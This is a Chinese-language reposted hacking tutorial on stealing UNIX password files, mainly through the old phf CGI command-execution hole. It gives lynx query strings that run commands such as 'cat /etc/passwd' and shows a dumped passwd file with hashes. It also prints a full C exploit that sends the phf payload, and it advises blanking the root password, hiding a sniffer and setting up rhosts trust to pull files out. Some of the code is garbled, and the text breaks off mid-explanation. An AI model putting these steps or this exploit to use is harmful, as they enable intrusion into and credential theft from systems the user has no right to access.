萬盛學電腦網

 萬盛學電腦網 >> 健康知識 >> 獲取passwd密碼檔

獲取passwd密碼檔

  目錄:PHF:WWW的PH查詢PHF查詢攻擊新方法從新手處獲取獲取shadow密碼檔獲取/etc/hosts檔

本文列舉了幾種從UNIX系統獲取密碼檔的方法。其中大多數方法要求你擁有一個有效帳號;但也有不需帳號也可訪問系統的方法。在這裡你還能知道完整的密碼檔與shadow密碼檔的區別,並學習到如何讀取shadow密碼檔。-------------------------------------------------------------

PHF:WWW的PH查詢

如果在WWW的cgi-bin的目錄下有一個名為phf的可執行(具有x權限)程序,那麼你就可以通過WWW或LINUX的文本浏覽器lynx訪問它。該功能允許你讀取系統上的文件,如/etc/passwd等,並保存在本地機上。

以下是我們所需要做的。如果httpd服務器是由root根用戶運行的,通過使用phf,我們可以成為該服務器的root用戶;甚至修改服務器上某個用戶的密碼。

這裡有一個perl腳本,它對使用上一章中的getdomain.pl腳本所得到的結果進行檢測,並檢查運行服務器的用戶。如果是root用戶,它就記錄其id;如果不是root用戶,則會自動從/etc目錄下讀取passwd檔,並保存為domain.???.passwd文件。

我還會給出另一個腳本,它允許你從一個shell中運行一條命令。只要該系統有phf,你就可以在shell中輸入一命令行,通過管道命令傳送到遠程系統上執行。

OK。現在你該知道下一步是什麼了?讓我們來學習如何利用phf。把你最喜愛的web浏覽器或是UNIX系統中經常使用的lynx文本浏覽器連接到網絡上。

在浏覽器窗口或屏幕出現後,鍵入g(譯者注:即使用浏覽器的“go”功能)。便會出現以下內容(譯者注:以lynx為例):

URL to open:Arrow keys: Up and Down to move. Right to follow a link; Left to go back.H)elp O)ptions P)rint G)o M)ain screen Q)uit /=search [delete]=history list

在URL to open: 處輸入:?Qalias=x id

URL to open: ?Qalias=x idArrow keys: Up and Down to move. Right to follow a link; Left to go back.H)elp O)ptions P)rint G)o M)ain screen Q)uit /=search [delete]=history list

返回如下內容:

QUERY RESULTS

/usr/local/bin/ph -m alias=x id

uid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup)

以上內容表明:運行服務器的用戶是nobody。因此,我們便成為了該服務器的nobody用戶。雖然我們還不是root用戶,但必將是。 ;-)

命令行:

?Qalias=x id

id是一個命令,它要求服務器返回用戶的id。有時我們需要給出全路徑,比如:?Qalias=x /usr/bin/id

注意 後面是命令行內容。如果你想輸入一個空格符,就要用 代替,以下是經常要用到的幾個命令行:(以 開始)

顯示passwd密碼檔: /bin/cat /etc/passwd

獲取/etc目錄下所有以pass開始的詳細文件列表: ls -al /etc/pass*

如果你有訪問http的root用戶權限,備份passwd文件為passwd.my文件: cp /etc/passwd /etc/passwd.my

更改root用戶密碼(服務器往往會允許你這樣做 ;-) ): passwd root

(以上命令可以讓你在以root用戶登錄時不需輸入密碼,(譯者注:也就是更改root用戶的密碼為空,然後再telnet該主機。)別忘了將passwd.my恢復為passwd(譯者注:恢復root用戶的舊密碼),刪除備份文件,然後你就可以運行一個合適的shell,並將其隱藏起來作為嗅探器(sniffer)來獲取所需的密碼了。)

只要你知道如何在UNIX中輸入命令,同時沒有忘記使用 來代替空格符,你就不會遇到什麼困難!OK。現在讓我們來獲取本例中的passwd檔吧。;-)

URL to open: ?Qalias=x cat /etc/passwd

我們將會看到:QUERY RESULTS

/usr/local/bin/ph -m alias=x cat /etc/passwd

root:R0rmc6lxVwi5I:0:0:root:/root:/bin/bashbin:*:1:1:bin:/bin:daemon:*:2:2:daemon:/sbin:adm:*:3:4:adm:/var/adm:lp:*:4:7:lp:/var/spool/lpd:sync:*:5:0:sync:/sbin:/bin/syncshutdown:*:6:0:shutdown:/sbin:/sbin/shutdownhalt:*:7:0:halt:/sbin:/sbin/haltmail:*:8:12:mail:/var/spool/mail:news:*:9:13:news:/usr/lib/news:uucp:*:10:14:uucp:/var/spool/uucppublic:operator:*:11:0:operator:/root:/bin/bashgames:*:12:100:games:/usr/games:man:*:13:15:man:/usr/man:postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bashnobody:*:-2:100:nobody:/dev/null:ftp:*:404:1::/home/ftp:/bin/bashguest:*:405:100:guest:/dev/null:/dev/nullbhilton:LkjLiWy08xIWY:501:100:Bob Hilton:/home/bhilton:/bin/bashweb:Kn0d4HJPfRSoM:502:100:Web Master:/home/web:/bin/bashmary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash

(一個小小的密碼檔 ;-) )

如果你希望保存這個文件,只要在文本浏覽器中選擇“打印”和“保存為文件”即可。現在讓我們了解一下paaswd檔的結構:

mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash1 :2 :3 :4 :5 :6 :7

1=用戶名 2=被加密的密碼 3=用戶標識 4=用戶組id 5=真實名字 6=用戶根目錄 7=shell 

好。假設你不想使用WWW浏覽器,編譯並執行以下腳本也可以達到目的:

phf.c------ cut here----

/* Some small changes for efficiency by snocrash. *//** cgi-bin phf exploit by loxsmith [xf]** I wrote this in C because not every system is going to have lynx. Also,* this saves the time it usually takes to remember the syntatical format* of the exploit. Because of the host lookup mess, this will take* approximately 12 seconds to execute with average network load. Be patient.**/

#include #include #include #include #include #include #include

int main(argc, argv)int argc;char **argv;{int i = 0, s, port, bytes = 128;char exploit[0xff], buffer[128], hostname[256], *command, j[2];struct sockaddr_in sin;struct hostent *he;

if (argc != 3 && argc != 4) {fprintf(stderr, "Usage: %s command hostname [port]", argv[0]);exit(1);}

command = (char *)malloc(strlen(argv[1]) * 2);

while (argv[1][i] != '\0') {if (argv[1][i] == 32) strcat(command, " "); else {sprintf(j, "%c", argv[1][i]);strcat(command, j);} i;}

strcpy(hostname, argv[2]);if (argc == 4) port = atoi(argv[3]); else port = 80;

if (sin.sin_addr.s_addr = inet_addr(hostname) == -1) {he = gethostbyname(hostname);if (he) {sin.sin_family = he->h_addrtype;memcpy((caddr_t) &sin.sin_addr, he->h_addr_list[0],he->h_length);} else {fprintf(stderr, "%s: unknown host %s\n", argv[0], hostname);exit(1);}}sin.sin_family = AF_INET;sin.sin_port = htons((u_short) port);

if ((s = socket(sin.sin_family, SOCK_STREAM, 0)) < 0) {fprintf(stderr, "%s: could not get socket\n", argv[0]);exit(1);}

if (connect(s, (struct sockaddr *)&sin, sizeof(sin)) < 0) {close(s);fprintf(stderr, "%s: could not establish connection\n", argv[0]);exit(1);}

sprintf(exploit, "GET /cgi-bin/phf/?Qalias=X% %s\n", command);free(command);write(s, exploit, strlen(exploit));while(bytes == 128) {bytes = read(s, buffer, 128);fprintf(stdout, buffer);}close(s);}

-------- cut here

使用舉例:

bash% phf id xxx.org

------ Query Results/usr/local/bin/ph -m alias=Xiduid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup)

以上是系統對程序的響應。再說一次,使用 代替命令行中的空格符。使用如下格式可顯示passwd檔:

phf cat /etc/passwd hostname.xxx

另外,Quantumg在他的主頁上提供了利用phf的新方法,我覺得有必要讓大家了解一下。

內容如下:

Phf 查詢攻擊新方法是的。我知道phf攻擊已經是眾所周知了,但你會奇怪為什麼還有那麼多笨的LINUX用戶。。。首先...先介紹一下背景:

phf是Apache上WWW服務器的cgi-bin命令。它存在缺陷,其後果是允許任何人以運行http服務器用戶的身份執行命令。通常該用戶是nobody,但有時是root。要利用這一缺陷,只需簡單地連接了該WEB服務器,並執行以下查詢:

GET /cgi-bin/phf/?Qalias=X

其後跟著你所希望運行的命令(用 代替空格符)。

OK。以下是攻擊方法。我們所要做的就是尋找存在phf漏洞的LINUX服務器。(我經常telnet到issue.net查找。)和大多數人一樣,我使用Loxsmith編寫的phf程序該程序要求把目標主機名放在第二個參數,而所要執行的命令放在第一個參數:

phf id

這裡id就是所要執行的命令,這往往是我第一步都會做的。因為它不僅告訴你此系統是不存在此漏洞,還可以提供httpd用戶的信息。因此,如果我們得到一個理想的響應,自學教程,那就意味它就是我們的目標了。第一件事是獲取目標主機上的有用資料,這並不是一件難事。你可以 (1)、檢查是否有可讀寫的ftp目錄;(2)使用rcp(這是我最喜歡用的)。為了使用這個命令,你需要對本地主機進行設置。(如果本地主機是你hack過的,那就好辦多了。)首先是獲得有效的用戶帳號,名字應該簡單而不易被注意(如:test);其次,把目標主機名寫入本地主機的/etc/host.equiv中;接著就是在/etc/inetd.conf中必須有shell行;最後,在用戶(test)根目錄下建立含有目標主機名和httpd用戶的.rhost文件。如下:

/etc/hosts.equiv:

/etc/inetd.conf:shell stream tcp nowait root /usr/sbin/tcpd in.rshd -L

~test

copyright © 萬盛學電腦網 all rights reserved